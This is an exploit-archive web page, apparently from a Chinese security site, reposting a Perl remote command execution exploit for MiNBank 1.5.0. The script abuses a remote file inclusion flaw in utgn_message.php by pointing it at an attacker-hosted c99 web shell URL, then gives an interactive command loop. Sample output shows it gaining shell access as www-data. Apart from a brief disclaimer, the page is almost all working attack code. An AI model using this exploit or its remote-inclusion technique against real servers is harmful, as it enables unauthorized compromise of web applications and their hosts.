首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MiNBank 1.5.0 Remote Command Execution Exploit
来源:http://www.hack0wn.com 作者:JosS 发布时间:2010-03-04  

#!/usr/bin/perl
####################################################################
# MiNBank 1.5.0 Remote Command Execution Exploit
# download: http://downloads.sourceforge.net/minbank/
#
# Author: Jose Luis Gongora Fernandez 'aka' JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" allow_url_include = On && register_globals = On
#
#  Attack vector_RFI!: [/minba/utility/utgn_message.php]
#     ...
#      require_once("$minsoft_path/utility/utgn_config.php");
#     ...
#
####################################################################
# OUTPUT: (tested on localhost)
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Fri Dec 12 16:48:28 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# h4x0rz:/home/joss/Desktop#


use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
 print "[x] MiNBank 1.5.0 Remote Command Execution Exploit\n";
 print "[x] Written By JosS\n";
 print "[x] sys-project[at]hotmail[dot]com\n\n";
 print "[+] Usage:\n";
 print "[+]     $0 -vuln \"web+path\" -shell \"shell\"\n";
 print "[+] eX: $0 -vuln \"http://www.hack0wn.com/test/\" -shell \"http://hack0wn.com/desc/c99.txt?\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help,
  'vuln=s'            => \$vuln,
  'shell=s'            => \$shell
  );

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

 print "[shell]:~\$ ";
 chomp($cmd=<STDIN>);

 if ($cmd eq "exit" || $cmd eq "quit") {
  exit 0;
 }

 my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $vuln . "/minba/utility/utgn_message.php?minsoft_path=" . $shell . $iny;
        chomp($own);
 my $req = HTTP::Request->new(GET => $own);
 my $res = $ua->request($req);
 my $con = $res->content;
 if ($res->is_success){
  print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
 }
           else
             {
                print "[p0c] Exploit failed\n";
                exit(1);
             }
}

# __h0__


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Opera <= 10.50 integer overflo
·Microsoft OWC Spreadsheet HTML
·McAfee LinuxShield versions 1.
·ProSSHD v1.2 20090726 Buffer O
·Mozilla Firefox v3.6 and Opera
·WebEx UCF atucfobj.dll ActiveX
·Internet Explorer 'winhlp32.ex
·Linux x86 - disabled modsecuri
·Tod Miller Sudo 1.6.x before 1
·AKoff MIDI Player v1.00 Buffer
·iPhone / iTouch FTPDisc 1.0 3
·WinSmMuPl 1.2.5 (.mp3) Local C
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved